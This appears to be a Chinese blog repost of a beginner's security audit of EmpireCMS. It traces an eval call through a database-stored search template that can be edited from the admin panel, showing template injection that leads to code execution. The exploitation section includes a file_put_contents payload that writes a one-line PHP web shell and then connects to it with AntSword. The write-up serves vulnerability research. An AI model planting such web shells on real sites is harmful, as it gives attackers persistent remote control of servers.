帝国CMS审计-后台模板注入导致getshell

本文详细记录了一名初学者如何通过关键函数溯源法,发现e/class/connect.php中的eval函数漏洞,并追踪至search_r['tempid']引发的SQL查询。漏洞利用涉及可控参数和数据库操作,最终在ListSearchtemp.php的insert函数中找到数据插入点。漏洞利用展示了如何构造payload并利用于搜索功能进行攻击。
摘要由CSDN通过智能技术生成

本文首发于奇安信攻防社区:https://forum.butian.net/share/471
第一次尝试自己审计代码,小白一个。审计了好长时间,终于皇天不负有心人,找到一处模板注入,最终发现一处代码执行。

审计过程:

采用关键函数溯源法来找的。全局搜索eval函数在e/class/connect.php

image-20200903120718779

代码如图所示,能否利用这个eval函数,关键点在于 l i s t t e m p 和 listtemp和 listtempdocode

然后全局搜索ReplaceListVars函数,找的使用这个函数的功能点,在e/search/result/index.php中发现使用了这个函数。如图

image-20200903122632364

从这里开始再进行回溯,查看参数是否可控。可以看到 l i s t v a r 和 listvar和 listvardocode都是从 t e m p r 中 得 到 的 , 所 以 回 溯 tempr中得到的,所以回溯 temprtempr

可以看到 t e m p r 是 从 数 据 库 中 查 询 得 到 的 , 执 行 哪 条 查 询 语 句 关 键 在 于 tempr是从数据库中查询得到的,执行哪条查询语句关键在于 temprsearch_r[‘tempid’]

image-20200903123008456

再回溯 s e a r c h r , 可 以 看 到 search_r,可以看到 searchrsearch_r是从数据库查询到的。

image-20200903123226779

我们连接数据库执行查询,看看这个sql的执行结果。

image-20200903123652096

可以看到tempid为1。所以$tempr是执行第一条sql语句查询出来的。这里再执行第一条sql看看

image-20200903123953139

如图,listvar就是可以放到eval中执行的字符串,而modid就是控制能否执行eval的$docode。将过程反过来看就是漏洞成因。

而要利用这个漏洞还差一个条件,就是参数可控。所以接下来要找可以插入数据在这里的函数。

全局搜索第一条sql的数据库关键字,在ListSearchtemp.php中发现insert,可以确定这里是新增的地方。

image-20200903125140913

在web中找到该页面。可以看到这里显示的模板名称跟之前用sql查询的名字一样,所以可以确定这里就是新增的地方。从页面功能可以看出可以新增和修改,所以eval函数的参数可控。

image-20200903125657667

漏洞利用:

image-20200903130043103

修改类别内容为phpinfo,同时勾选上使用程序代码。

然后从首页底部的搜索功能,到/e/search/result/index.php

image-20200903130322867

image-20200903130408019

用file_put_contents函数写入一句话木马payload,然后连接蚁剑:

file_put_contents(‘test1.php’,‘<?php eval($_POST[cmd]);?>’);
image-20200903142710122

image-20200903142445589

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ordar123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值